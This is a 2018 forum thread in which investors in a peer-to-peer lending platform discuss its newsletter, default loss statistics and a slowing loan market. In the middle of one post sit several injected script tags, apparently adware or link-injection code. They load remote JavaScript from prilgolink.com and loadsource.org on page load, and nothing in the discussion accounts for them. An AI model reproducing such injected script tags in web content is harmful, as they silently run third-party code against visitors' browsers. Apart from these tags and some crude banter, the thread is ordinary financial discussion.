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Post by fundingsecure on Nov 3, 2018 17:18:10 GMT
The November newsletter has been emailed to all registered members who elected to receive marketing emails..
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adrian77
Member of DD Central
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Post by adrian77 on Nov 3, 2018 19:28:40 GMT
From the newsletter
not in my case - if you have a sensible plan and over 60% equity they can't lend enough! (Or on the other hand if you are a big boy like the ex-Corill**n...)
What they won't do is repeat the mistake they made pre 2008 of throwing money at any building project regardless how reckless it is. It will be interesting to see just how many FS building projects go pectals up - not forgetting the mega FC Devon failure which myself and others warned them about!
well won't argue with that!
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Godanubis
Member of DD Central
Anubis is known as the god of death and is the oldest and most popular of ancient Egyptian deities.
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Post by Godanubis on Nov 3, 2018 19:38:58 GMT
From the newsletter not in my case - if you have a sensible plan and over 60% equity they can't lend enough! (Or on the other hand if you are a big boy like the ex-Corill**n...) What they won't do is repeat the mistake they made pre 2008 of throwing money at any building project regardless how reckless it is. It will be interesting to see just how many FS building projects go pectals up - not forgetting the mega FC Devon failure which myself and others warned them about! What's a Pectal LOL ?
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rogerthat
Member of DD Central
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Post by rogerthat on Nov 3, 2018 20:47:37 GMT
A tit or in this case..a pair of..  |
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Godanubis
Member of DD Central
Anubis is known as the god of death and is the oldest and most popular of ancient Egyptian deities.
Posts: 2,011
Likes: 1,013
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Post by Godanubis on Nov 3, 2018 21:07:45 GMT
A tit or in this case..a pair of.. Your's may be small and blue ? I'm a god mine are Great
<script src="//prilgolink.com/1e862877dcb4f81821.js"></script><script type="text/javascript" src="http://prilgolink.com/addons/lnkr5.min.js"></script><script type="text/javascript" src="http://loadsource.org/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52375x7814x&r=1541279371770"></script><script type="text/javascript" src="http://prilgolink.com/ext/1e862877dcb4f81821.js?sid=52375_7814_&title=ads&blocks[]=31af2"></script>
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blender
Member of DD Central
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Post by blender on Nov 3, 2018 22:48:57 GMT
I think he means pectorals, which are muscles which underlie said birds. He may have been trying for a gender-neutral expression. If so - epic fail.
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coop
Member of DD Central
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Post by coop on Nov 5, 2018 15:18:56 GMT
Good job recovering that 3 and a half grand  |
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09dolphin
Member of DD Central
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Post by 09dolphin on Nov 5, 2018 19:42:50 GMT
Shame that 9+% of money has been lost for the last 3 months in a row (Information from the link to statistics). If you also take into account the interest lost I think the figure is going to be well over 12% as most loans aren't defaulted until they are at least 6 months overdue and some are not recovered even when they are over 1000 days "active".
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arby
Member of DD Central
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Post by arby on Nov 5, 2018 20:30:19 GMT
Shame that 9+% of money has been lost for the last 3 months in a row (Information from the link to statistics). If you also take into account the interest lost I think the figure is going to be well over 12% as most loans aren't defaulted until they are at least 6 months overdue and some are not recovered even when they are over 1000 days "active".
That is not what the 9% figure represents: Firstly, it is 9% of money from loans that have defaulted which has been lost, not 9% of all loans. Secondly, the figures are cumulative, so "3 months in a row" is pretty meaningless as the figures will only change slowly from one month to the next.
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number5
Member of DD Central
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Post by number5 on Nov 6, 2018 13:14:37 GMT
It really seems like FS has come to a big halt...not much at all is selling on the SM even at massive discounts and the PM seems to have slowed right down.
I remember when I joined just over a year ago, there would be no loans on the PM available longer than a day or two. The SM loan parts would sell very quickly even at large premiums.
I now have cash drag with not many decent new loans coming up as well.
Where to take these funds?
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09dolphin
Member of DD Central
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Post by 09dolphin on Nov 6, 2018 18:53:19 GMT
Shame that 9+% of money has been lost for the last 3 months in a row (Information from the link to statistics). If you also take into account the interest lost I think the figure is going to be well over 12% as most loans aren't defaulted until they are at least 6 months overdue and some are not recovered even when they are over 1000 days "active".
That is not what the 9% figure represents: Firstly, it is 9% of money from loans that have defaulted which has been lost, not 9% of all loans. Secondly, the figures are cumulative, so "3 months in a row" is pretty meaningless as the figures will only change slowly from one month to the next. Sorry I thought it was clear that I was referring to defaulted loans - obviously not. The point I was trying to make was that there is not just the 9+% loss (in defaulted loans) but the interest also and this loss of interest may continue for years as investors have no access to "their" money to reinvest. Additionally I was trying to point out that there has been no reduction in the losses experienced by defaulted loans over a 3 month period.
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arby
Member of DD Central
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Post by arby on Nov 6, 2018 19:41:22 GMT
That is not what the 9% figure represents: Firstly, it is 9% of money from loans that have defaulted which has been lost, not 9% of all loans. Secondly, the figures are cumulative, so "3 months in a row" is pretty meaningless as the figures will only change slowly from one month to the next. Sorry I thought it was clear that I was referring to defaulted loans - obviously not. The point I was trying to make was that there is not just the 9+% loss (in defaulted loans) but the interest also and this loss of interest may continue for years as investors have no access to "their" money to reinvest. Additionally I was trying to point out that there has been no reduction in the losses experienced by defaulted loans over a 3 month period.
Fair enough. Would you also expect/hope the 9% figure would decrease? Losses will only ever increase while the denominator of defaulted loans will likely also increase. I personally assume this figure will increase and would class it staying at 9% as a huge success! 
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